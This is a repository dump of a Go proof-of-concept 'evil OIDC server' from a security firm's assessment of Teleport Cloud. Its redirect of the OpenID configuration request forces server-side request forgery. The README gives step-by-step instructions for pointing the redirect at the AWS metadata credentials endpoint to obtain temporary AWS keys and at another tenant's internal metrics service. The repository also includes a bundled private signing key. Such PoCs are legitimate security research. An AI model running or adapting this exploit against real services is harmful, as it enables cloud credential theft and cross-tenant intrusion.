├── .gitignore ├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── jwks-public.json ├── not-very-private.pem └── oidc.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # oidc-ssrf 2 | 3 | Evil OIDC server: the OpenID Configuration URL returns a 307 to cause SSRF. 4 | 5 | ## 1. Install 6 | 7 | ``` 8 | git clone --depth=1 https://github.com/doyensec/oidc-ssrf.git 9 | cd oidc-ssrf 10 | go get "github.com/dgrijalva/jwt-go" 11 | go build oidc.go 12 | ``` 13 | 14 | ## 2. Run the OIDC server 15 | 16 | The OIDC server will have to run on a domain with HTTPS. 17 | 18 | ``` 19 | ./oidc -listen 0.0.0.0:5999 \ 20 | -issuer https://dscollaborator.example.com/ \ 21 | -ssrf http://169.254.169.254/latest/meta-data/iam/security-credentials/ 22 | ``` 23 | 24 | The issuer should be the publicly exposed URL of the OIDC server. 25 | 26 | You can use an ngrok tunnel, caddy or something else to proxy the OIDC server (port 5999) over HTTPS. 27 | You need to be able to access the OIDC server from the issuer URL. 28 | 29 | ## 3. Add OIDC auth connector 30 | 31 | Logged in as an admin of your tenant, go to Team > Auth Connectors > New Auth Connector > OIDC CONNECTOR. 32 | 33 | ```yaml 34 | kind: oidc 35 | metadata: 36 | name: ssrfpoc 37 | spec: 38 | claims_to_roles: 39 | - claim: hd 40 | roles: 41 | - admin 42 | value: example.com 43 | client_id: 44 | client_secret: 45 | display: ssrfpoc 46 | issuer_url: https://dscollaborator.example.com/ 47 | redirect_url: https://doyensec--------------------bc.teleport.sh/v1/webapi/oidc/callback 48 | scope: 49 | - 50 | version: v2 51 | ``` 52 | 53 | Change the issuer_url (must match your domain and end in a forward slash) and redirect_url (use your tenant's cluster domain). 54 | 55 | You should see the message `Returning nice friendly OpenID Configuration` in the OIDC server output. 56 | Wait one minute just to make sure the config is synced (may not be strictly necessary). 57 | 58 | ## 4. Try to login 59 | 60 | Attempt to login to the tenant web interface via the SSRFPOC method above (using private browsing or another browser). The login attempt will fail. 61 | In the admin tab look in Activity > Audit Log. You should see a "SSO Login Failed" message: 62 | 63 | ``` 64 | SSO user login failed [ 65 | OAuth2 error code=unsupported_response_type, 66 | message=failed to decode provider response "tenant-doyensec--------------------bc-role" 67 | ] 68 | ``` 69 | 70 | ## 5. Try different SSRFs 71 | 72 | The Go server can be killed and restarted with different SSRF urls such as: 73 | 74 | * Another tenant's prometheus: http://100.92.47.7:3000/metrics 75 | * Get temporary AWS keys (kiam, not host keys) http://169.254.169.254/latest/meta-data/iam/security-credentials/tenant-{mytenant}-role 76 | 77 | You can continually attempt different SSRFs by retrying step 4. 78 | 79 | 80 | ## Credits 81 | 82 | This PoC has been created by [Doyensec LLC](https://www.doyensec.com) for the Q1 2021 assessment of [Teleport Cloud](https://goteleport.com/teleport/cloud/). 83 | 84 | ![alt text](https://doyensec.com/images/logo.svg "Doyensec Logo") 85 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/doyensec/oidc-ssrf 2 | 3 | go 1.17 4 | 5 | require github.com/dgrijalva/jwt-go v3.2.0+incompatible // indirect 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM= 2 | github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= 3 | -------------------------------------------------------------------------------- /jwks-public.json: -------------------------------------------------------------------------------- 1 | { 2 | "keys": [ 3 | { 4 | "kty": "RSA", 5 | "e": "AQAB", 6 | "use": "sig", 7 | "kid": "yo", 8 | "alg": "RS256", 9 | "n": "qOPyYZW0vrzmdDDeJeM8rLJ5bg4esN-lHhyqCXkrz-26SZPvkE30WH4bIQPxPK_bL0Xj12FEB7tT5cKLnzWYZ9BiiJvwYZNE7uaUPTFDJcKQ5x0weYRhDyCSFcg8FBei4JHDS_mIGCQPfKeK5mkIPqMyYtr5BqIFRWUk9oiBF0ckgQZzFSBJeumZgE-ZGmFM3zahD8VQIDwjLLsIC3GCfQPgT27Pc0plXuriMyTT6Wq0G2vOa6tcCCdHm5FsRePxK5RC7_f_--fIdk8l1HO_sDbTpL8Tb6vFDMDamk6XUWHb7wvnxdP91IJu47PRM91bmBD7_rZhVRHqfuppkTsZnw" 10 | } 11 | ] 12 | } 13 | -------------------------------------------------------------------------------- /not-very-private.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCo4/JhlbS+vOZ0 3 | MN4l4zyssnluDh6w36UeHKoJeSvP7bpJk++QTfRYfhshA/E8r9svRePXYUQHu1Pl 4 | woufNZhn0GKIm/Bhk0Tu5pQ9MUMlwpDnHTB5hGEPIJIVyDwUF6LgkcNL+YgYJA98 5 | p4rmaQg+ozJi2vkGogVFZST2iIEXRySBBnMVIEl66ZmAT5kaYUzfNqEPxVAgPCMs 6 | uwgLcYJ9A+BPbs9zSmVe6uIzJNPparQba85rq1wIJ0ebkWxF4/ErlELv9//758h2 7 | TyXUc7+wNtOkvxNvq8UMwNqaTpdRYdvvC+fF0/3Ugm7js9Ez3VuYEPv+tmFVEep+ 8 | 6mmROxmfAgMBAAECggEBAI7M9eMnBsWDyUOTEjJs2Z+X5G52x+J7pww35lnON4o/ 9 | EpUl3ZhhIWo1blDTGYVbl/N3n7c7yZ7T+JM7lHyQf4W/v6CMYYrPT6jEE7FN1t21 10 | jnmrx5HnqX115689N/cxKQnClaPGoBjxXJrkuuApDMyRhofpaEgAdH6Bj+hX8Pax 11 | U06xX9epPMpJ2VbRRdzjmPrOlThbXOlguv/YZ5EoaYqz5jClj384zZs6CFV/be3w 12 | GnLKn31jyFnP9dDfRjr9rUMLx1+zxd38+xNefDIKX3OkoWZFQ6qNnlEznrxklXAx 13 | sZaAXVJZu4sJEH6Iw4u7rsw+TdZQaCPPJxs3rXDs0QECgYEA3VUf3rv8NNj5J/Qv 14 | CikZm7jf1czawJaLGmxJ1TEqDSSy4/Fita/nER1F7gg6fsQqJ7gFkIWuzC/FU8DL 15 | O5XTY1N/8m+ml9EFmPyzV1lVjG9PVQLJuITGoVzfH2zMYaV8YYmzNBvroqi7FqYY 16 | E+s/o/giGmO/MRaFu6XsvfqAIYECgYEAw1gGwkiDgsbW9SCCbBbuAxEw/VYWAStD 17 | a/lr7htLYJ17lzHU8FxxQRC+rwwr29AFMgGEqFlZAtEa2/07ttVPc8VYfNqvsN3c 18 | raRC2nB2QvhfRy5VkYsm4plG8EhugbqqW9zD7MHWlrLrpSKnqbF0ERyV6DkE17e5 19 | mxWgoyCGix8CgYEAyK8pgYzTxptBdx+qEz1m8dJ0amgfpOYbZK7xVzQH2/j9lz7E 20 | cNb43YS8ZnLhjxWQ34i0yvDbqFpcQm+aFwHntLT+WzUvSZKFz8y5VCc1MWuv8/Xe 21 | L8d8Ts1lphnBS3yARfRUH5h9VHRHhua9CDqS7rrLOUBeGEVCpv1wpmVfDoECgYA2 22 | wf8rCO6sgxaQoitNJ2RSwcfsy+vhKgJ9Su6hUU9g5uRVLqfVNOSea5Y4NX454OcD 23 | 7H8GPf2Al6Mi1aqehs790e0LGrYzKw4IMsp2tx2/iiYTKv7bjJk63eKPyo4HmY7V 24 | r13QiUmg9sitgrhjDhZOEahH72vXGG5T9c0QzTZJ2wKBgAZppUtYfQ+P+MDF+Cl1 25 | NkQcXeMxCD4vqfQqJPYAkk+jXXsoC1wwhjWCEWsLX9UMA1MXCH3nXEwG+eiJJgMf 26 | Nv/QV4A0GUGIe8n4Cw+PwSU9fASlwoc6gHtVBpn443QslEyU/gapJ8p3QvavCPBr 27 | 7TGJr/SUJfiR2gPSOvaQB36x 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /oidc.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rsa" 5 | "encoding/base64" 6 | "encoding/json" 7 | "flag" 8 | "fmt" 9 | "io/ioutil" 10 | "log" 11 | "net/http" 12 | "net/url" 13 | "strings" 14 | "time" 15 | 16 | jwt "github.com/dgrijalva/jwt-go" 17 | ) 18 | 19 | var ( 20 | listener string 21 | issuer string 22 | ssrf string 23 | key *rsa.PrivateKey 24 | jwks []byte 25 | useSSRF bool 26 | ) 27 | 28 | func handleAuth(w http.ResponseWriter, r *http.Request) { 29 | redirect := r.URL.Query().Get("redirect_uri") 30 | if redirect == "" { 31 | redirect = "http://doy.en.se.c/" 32 | } 33 | redirectURL, _ := url.Parse(redirect) 34 | params := redirectURL.Query() 35 | params.Set("state", r.URL.Query().Get("state")) 36 | params.Set("code", "bc") 37 | 38 | redirectURL.RawQuery = params.Encode() 39 | 40 | w.Header().Set("Location", redirectURL.String()) 41 | w.WriteHeader(http.StatusTemporaryRedirect) 42 | } 43 | 44 | func handleOpenid(w http.ResponseWriter, r *http.Request) { 45 | if useSSRF { 46 | log.Printf("SSRF to %s", ssrf) 47 | http.Redirect(w, r, ssrf, http.StatusTemporaryRedirect) 48 | return 49 | } 50 | log.Print("Returning nice friendly OpenID Configuration") 51 | w.Header().Set("Content-Type", "application/json") 52 | w.Write([]byte(fmt.Sprintf( 53 | "{\"issuer\":\"%[1]s\",\"authorization_endpoint\":\"%[1]sauthorize\",\"token_endpoint\":\"%[1]soauth/token\",\"device_authorization_endpoint\":\"%[1]soauth/device/code\",\"userinfo_endpoint\":\"%[1]sme\",\"mfa_challenge_endpoint\":\"%[1]smfa/challenge\",\"jwks_uri\":\"%[1]s.well-known/jwks.json\",\"registration_endpoint\":\"%[1]soidc/register\",\"revocation_endpoint\":\"%[1]soauth/revoke\",\"scopes_supported\":[\"openid\",\"profile\",\"offline_access\",\"name\",\"given_name\",\"family_name\",\"nickname\",\"email\",\"email_verified\",\"picture\",\"created_at\",\"identities\",\"phone\",\"address\"],\"response_types_supported\":[\"code\",\"token\",\"id_token\",\"code token\",\"code id_token\",\"token id_token\",\"code token id_token\"],\"code_challenge_methods_supported\":[\"S256\",\"plain\"],\"response_modes_supported\":[\"query\",\"fragment\",\"form_post\"],\"subject_types_supported\":[\"public\"],\"id_token_signing_alg_values_supported\":[\"HS256\",\"RS256\"],\"token_endpoint_auth_methods_supported\":[\"client_secret_basic\",\"client_secret_post\"],\"claims_supported\":[\"aud\",\"auth_time\",\"created_at\",\"email\",\"email_verified\",\"exp\",\"family_name\",\"given_name\",\"iat\",\"identities\",\"iss\",\"name\",\"nickname\",\"phone_number\",\"picture\",\"sub\"],\"request_uri_parameter_supported\":false}", 54 | issuer, 55 | ))) 56 | } 57 | 58 | func makeIDToken(clientID string) (string, error) { 59 | claims := &jwt.StandardClaims{ 60 | ExpiresAt: 8000000000, 61 | Issuer: issuer, 62 | Audience: clientID, 63 | Subject: "1234", 64 | IssuedAt: time.Now().Unix(), 65 | } 66 | 67 | token := jwt.NewWithClaims(jwt.SigningMethodRS256, claims) 68 | return token.SignedString(key) 69 | } 70 | 71 | // Token is the Oauth Token 72 | type Token struct { 73 | AccessToken string `json:"access_token"` 74 | TokenType string `json:"token_type"` 75 | IDToken string `json:"id_token"` 76 | ExpiresIn int32 `json:"expires_in"` 77 | State string `json:"state"` 78 | Scope string `json:"scope"` 79 | } 80 | 81 | func makeToken(clientID string) ([]byte, error) { 82 | idToken, err := makeIDToken(clientID) 83 | if err != nil { 84 | return nil, err 85 | } 86 | token := &Token{ 87 | AccessToken: "abc", 88 | TokenType: "Bearer", 89 | IDToken: idToken, 90 | ExpiresIn: 7200, 91 | Scope: "email", 92 | State: "st", 93 | } 94 | return json.Marshal(token) 95 | } 96 | 97 | func handleToken(w http.ResponseWriter, r *http.Request) { 98 | auth := strings.SplitN(r.Header.Get("Authorization"), " ", 2) 99 | clientID := "?" 100 | if len(auth) == 2 { 101 | basic, err := base64.StdEncoding.DecodeString(auth[1]) 102 | if err == nil { 103 | up := strings.SplitN(string(basic), ":", 2) 104 | if len(up) == 2 { 105 | clientID, err = url.QueryUnescape(up[0]) 106 | } 107 | } 108 | } 109 | log.Printf("Token fetched for %s", clientID) 110 | if ssrf != "" { 111 | useSSRF = true // enable SSRF 112 | log.Print("From now on, requests for OpenID Configuration will get SSRFd!") 113 | } 114 | w.Header().Set("Content-Type", "application/json") 115 | token, err := makeToken(clientID) 116 | if err == nil { 117 | w.Write(token) 118 | } else { 119 | log.Printf("Error making token: %v", err) 120 | } 121 | } 122 | 123 | func handleJWKS(w http.ResponseWriter, r *http.Request) { 124 | log.Print("JWKS Fetched") 125 | w.Header().Set("Content-Type", "application/json") 126 | w.Write(jwks) 127 | } 128 | 129 | func dunno(w http.ResponseWriter, r *http.Request) { 130 | log.Printf("[%s] %s", r.Method, r.URL.Path) 131 | w.WriteHeader(http.StatusNotFound) 132 | } 133 | 134 | func init() { 135 | flag.StringVar(&listener, "listen", "0.0.0.0:1337", "Address / port to listen on") 136 | flag.StringVar(&issuer, "issuer", "https://issuer.url/", "Issuer url (ending in /)") 137 | flag.StringVar(&ssrf, "ssrf", "", "URL to redirect the openid-configuration to") 138 | } 139 | 140 | func main() { 141 | flag.Parse() 142 | http.HandleFunc("/authorize", handleAuth) 143 | http.HandleFunc("/oauth/token", handleToken) 144 | http.HandleFunc("/.well-known/openid-configuration", handleOpenid) 145 | http.HandleFunc("/.well-known/jwks.json", handleJWKS) 146 | http.HandleFunc("/", dunno) 147 | 148 | var err error 149 | var keyData []byte 150 | if keyData, err = ioutil.ReadFile("./not-very-private.pem"); err != nil { 151 | log.Fatalf("Cannot read RSA key not-very-private.pem: %v", err) 152 | } 153 | if key, err = jwt.ParseRSAPrivateKeyFromPEM(keyData); err != nil { 154 | log.Fatalf("Unable to parse RSA private key: %v", err) 155 | } 156 | if jwks, err = ioutil.ReadFile("./jwks-public.json"); err != nil { 157 | log.Fatalf("Cannot read jwks-public.json: %v", err) 158 | } 159 | 160 | if ssrf == "" { 161 | log.Print("No SSRF configured (use -h to see help)") 162 | } 163 | 164 | log.Printf("Listening on %s...", listener) 165 | log.Fatal(http.ListenAndServe(listener, nil)) 166 | } 167 | --------------------------------------------------------------------------------